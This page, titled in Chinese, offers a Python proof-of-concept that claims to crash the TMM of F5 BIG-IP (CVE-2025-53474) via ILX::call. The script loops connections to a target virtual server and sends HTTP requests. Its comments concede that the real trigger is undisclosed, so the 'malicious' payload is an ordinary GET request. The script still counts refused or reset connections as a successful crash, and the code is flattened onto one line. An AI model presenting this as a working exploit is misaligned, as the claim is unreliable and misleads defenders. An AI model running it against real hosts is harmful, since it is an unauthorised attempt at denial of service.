CVE-2025-53474 F5 BIG-IP iRule ILX::call命令导致TMM拒绝服务漏洞

# CVE-2025-53474 - F5 BIG-IP TMM DoS via iRule ILX::call # This PoC demonstrates triggering the TMM termination vulnerability # by sending crafted traffic to a virtual server configured with # an iRule that uses the ILX::call command. # # Note: The exact triggering conditions have not been publicly disclosed # by F5. This is a conceptual PoC based on the vulnerability description. import socket import struct import sys import time TARGET_HOST = "<BIG-IP_VIRTUAL_SERVER_IP>" TARGET_PORT = 443 # HTTPS service port on BIG-IP virtual server def craft_malicious_request(): """ Craft a network request designed to trigger the ILX::call vulnerability in F5 BIG-IP TMM. The request targets a virtual server that has an iRule configured with ILX::call command. """ # Construct a specially crafted HTTP request # The specific payload that triggers the vulnerability is undisclosed request = ( b"GET / HTTP/1.1\r\n" b"Host: " + TARGET_HOST.encode() + b"\r\n" b"User-Agent: Mozilla/5.0\r\n" b"Accept: */*\r\n" # Additional headers or payload designed to trigger ILX::call path b"X-Forwarded-For: 127.0.0.1\r\n" b"Connection: keep-alive\r\n" b"\r\n" ) return request def send_exploit_traffic(host, port, count=100): """ Send multiple crafted requests to trigger TMM termination. """ print(f"[*] Targeting {host}:{port}") print(f"[*] Sending {count} crafted requests...") for i in range(count): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) payload = craft_malicious_request() sock.send(payload) response = sock.recv(4096) sock.close() print(f"[+] Request {i+1}/{count} sent") time.sleep(0.1) except Exception as e: print(f"[-] Request {i+1} failed: {e}") # TMM may have terminated - connection refused or reset if "Connection refused" in str(e) or "reset" in str(e).lower(): print("[!] Possible TMM termination detected!") break print("[\n*] Exploit attempt complete.") print("[*] Check target BIG-IP TMM status for crash/restart.") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) send_exploit_traffic(TARGET_HOST, TARGET_PORT) # Example iRule that would be configured on the vulnerable virtual server: # # when CLIENT_ACCEPTED { # set result [ILX::call /Common/my_extension some_method $some_data] # } # # Mitigation: Upgrade BIG-IP to a fixed version per F5 article K44517780